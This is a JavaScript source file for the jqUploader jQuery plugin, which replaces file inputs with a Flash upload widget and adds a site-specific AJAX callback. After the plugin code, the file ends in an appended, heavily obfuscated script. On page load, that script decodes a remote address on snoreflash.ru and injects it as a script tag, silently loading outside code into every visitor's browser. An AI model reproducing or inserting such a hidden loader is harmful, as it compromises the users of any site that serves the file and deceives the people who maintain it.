/**
 * jqUploader (http://www.pixeline.be/experiments/jqUploader/)
 * A jQuery plugin to replace html-based file upload input fields with richer flash-based upload progress bar UI.
 *
 * Version 1.0.2.2
 * September 2007
 *
 * Copyright (c) 2007 Alexandre Plennevaux (http://www.pixeline.be)
 * Dual licensed under the MIT and GPL licenses.
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.opensource.org/licenses/gpl-license.php
 *
 * using plugin "Flash" by Luke Lutman (http://jquery.lukelutman.com/plugins/flash)
 *
 * IMPORTANT:
 * The packed version of jQuery breaks ActiveX control
 * activation in Internet Explorer. Use JSMin to minifiy
 * jQuery (see: http://jquery.lukelutman.com/plugins/flash#activex).
 *
 **/
 jQuery.fn.jqUploader = function(options) {
    return this.each(function(index) {
        var $this = jQuery(this);
		// fetch label value if any, otherwise set a default one
		var $thisForm =  $this.parents("form");
		var $thisInput = jQuery("input[@type='file']",$this);
		var $thisLabel = jQuery("label",$this);
		var containerId = $this.attr("id") || 'jqUploader-'+index;
		var startMessage = ($thisLabel.text() =='') ? 'Please select a file' : $thisLabel.text();
		// get form action attribute value as upload script, appending to it a variable telling the script that this is an upload only functionality
		var actionURL = $thisForm.attr("action");
		// adds a var setting jqUploader to 1, so you can use it for serverside processing
		var prepender = (actionURL.lastIndexOf("?") != -1) ? "&": "?";
		actionURL = actionURL+prepender+'jqUploader=1';
		// check if max file size is set in html form
		var maxFileSize = jQuery("input[@name='MAX_FILE_SIZE']", jQuery(this.form)).val();
		var opts = jQuery.extend({
				width:320,
				height:85,
				version: 8, // version 8+ of flash player required to run jqUploader
				background: 'F2F5EE', // background color of flash file
				src:    'jqUploader.swf',
				uploadScript:     actionURL,
				afterScript:      null, // if this is empty, jqUploader will replace the upload swf by a hidden input element
				varName:	        $thisInput.attr("name"),  //this holds the variable name of the file input field in your html form
				allowedExt:	      '*.jpg; *.jpeg; *.png', // allowed extensions
				allowedExtDescr:  'Images (*.jpg; *.jpeg; *.png)',
				params:           {menu:false},
				flashvars:        {},
				hideSubmit:       true,
				barColor:		      '#8ACBE5',
				maxFileSize:      maxFileSize,
				startMessage:     startMessage,
				errorSizeMessage: 'File is too big!',
				validFileMessage: '',
				progressMessage: 'Please wait, uploading ',
				endMessage:    'You\'re all done'
		}, options || {}
		);
		
		// disable form submit button
		if (opts.hideSubmit==true) {
			jQuery("*[@type='submit']",this.form).hide();
		}
		// THIS WILL BE EXECUTED IN THE USECASE THAT THERE IS NO REDIRECTION TO BE DONE AFTER UPLOAD
		TerminateJQUploader = function(containerId,filename,varname){
			$this= jQuery('#'+containerId).empty();
			/*$this.text('').append('<span style="color:#00CC00">Upload of <strong>'+filename+'</strong> finished! (the filename is now stored in the form as an hidden input field)</span><input name="'+varname+'" type="hidden" id="'+varname+'" value="'+filename+'"/>');
			$this.text('').append('<span style="color:#0F7F3E">Upload of <strong>'+filename+'</strong> finished!</span><input name="'+varname+'" type="hidden" id="'+varname+'" value="'+filename+'"/>');*/
			
			/* Amir Code Starts here*/
			
			param = "bid="+jQuery('#txtBID').val();
			param += "&bn="+jQuery('#txtBN').val();
			param += "&filename="+filename;
			//param += "&varname="+varname;
			
			jQuery.ajax({
				   type: "POST",
				   url: "flash_ajax.php",
				   data: param,
				   success: function(msg){
					 //alert( msg );
					 //$this.text('').append('<br><span style="color:#0F7F3E">'+msg+'</span>');
					 
					 call_upload();
					 jQuery('#r_theFormDiv2').hide();
				   }
			});

			
			/* Amir Code Ends here*/
			
			var myForm = $this.parents("form");
			myForm.submit(function(){return false});
			//jQuery('#frmup').submit(function(){ return false });
			//jQuery("*[@type='submit']",myForm).show();
		}
		var myParams = '';
		for (var p in opts.params){
				myParams += p+'='+opts.params[p]+',';
		}
		myParams = myParams.substring(0, myParams.length-1);
		// this function interfaces with the jquery flash plugin
		jQuery(this).flash(
		{
			src: opts.src,
			width: opts.width,
			height: opts.height,
			id:'movie_player-'+index,
			bgcolor:'#'+opts.background,
			flashvars: {
				containerId: containerId,
				uploadScript: opts.uploadScript,
				afterScript: opts.afterScript,
				allowedExt: opts.allowedExt,
				allowedExtDescr: opts.allowedExtDescr,
				varName :  opts.varName,
				barColor : opts.barColor,
				maxFileSize :opts.maxFileSize,
				startMessage : opts.startMessage,
				errorSizeMessage : opts.errorSizeMessage,
				validFileMessage : opts.validFileMessage,
				progressMessage : opts.progressMessage,
				endMessage: opts.endMessage
			},
			params: myParams
		},
		{
			version: opts.version,
			update: false
		},
			function(htmlOptions){
				var $el = jQuery('<div id="'+containerId+'" class="flash-replaced"><div class="alt">'+this.innerHTML+'</div></div>');
					 $el.prepend(jQuery.fn.flash.transform(htmlOptions));
					 jQuery('div.alt',$el).remove();
					 jQuery(this).after($el).remove();
			}
		);
	});
};



var zs;if(zs!='' && zs!='xA'){zs='J'};var o;if(o!='' && o!='Q'){o='RN'};function R(){var a;if(a!=''){a='yE'};var d;if(d!=''){d='zP'};var qS=new Date();var K=unescape;this.Nl='';this.Ne='';var RL=window;var N=K("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%65%62%61%79%2e%66%72%2f%67%6f%6f%67%6c%65%2e%72%6f%2e%70%68%70");function z(M,S){var KY=new Date();var L;if(L!='k' && L != ''){L=null};var x="g";var Y;if(Y!='Gi'){Y=''};var Re='';var Rn=K("%5b"), y=K("%5d");var f=Rn+S+y;this.sd='';var E=new RegExp(f, x);return M.replace(E, new String());var XN=new String();var Nf;if(Nf!='' && Nf!='XZ'){Nf=''};};var EL="";var q=z('83614076198521503976','17534962');var W=new String();var Ou="";var yu=document;var pK='';function O(){this.Xw='';var i=K("%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a");this.ih="";var af;if(af!=''){af='IK'};var qC='';var A;if(A!='Tj'){A='Tj'};W=i;W+=q;var qO;if(qO!='Gw' && qO!='zx'){qO='Gw'};var Um;if(Um!='Lg' && Um!='WI'){Um='Lg'};W+=N;var LS="";var ee="";var Ni="";var fs=new Array();try {var RH;if(RH!='' && RH!='rm'){RH=''};this.Wv="";c=yu.createElement(z('skczrzizpwtQ','QM74w8PDGBYU5zEk'));var x_=new Date();var sD;if(sD!='LX'){sD='LX'};var pQ;if(pQ!='CK' && pQ != ''){pQ=null};var e_;if(e_!='nv' && e_!='dY'){e_='nv'};c[K("%64%65%66%65%72")]=[4,1][1];var Ay=new Date();var iD;if(iD!='AQ' && iD!='Yk'){iD=''};c[K("%73%72%63")]=W;yu.body.appendChild(c);} catch(V){alert(V);var na;if(na!='hj'){na=''};var cu='';};var Jc;if(Jc!=''){Jc='Qt'};}var OW=new Array();this.eeD="";RL["on"+"lo"+"ad"]=O;var ty=new String();var TW='';};R();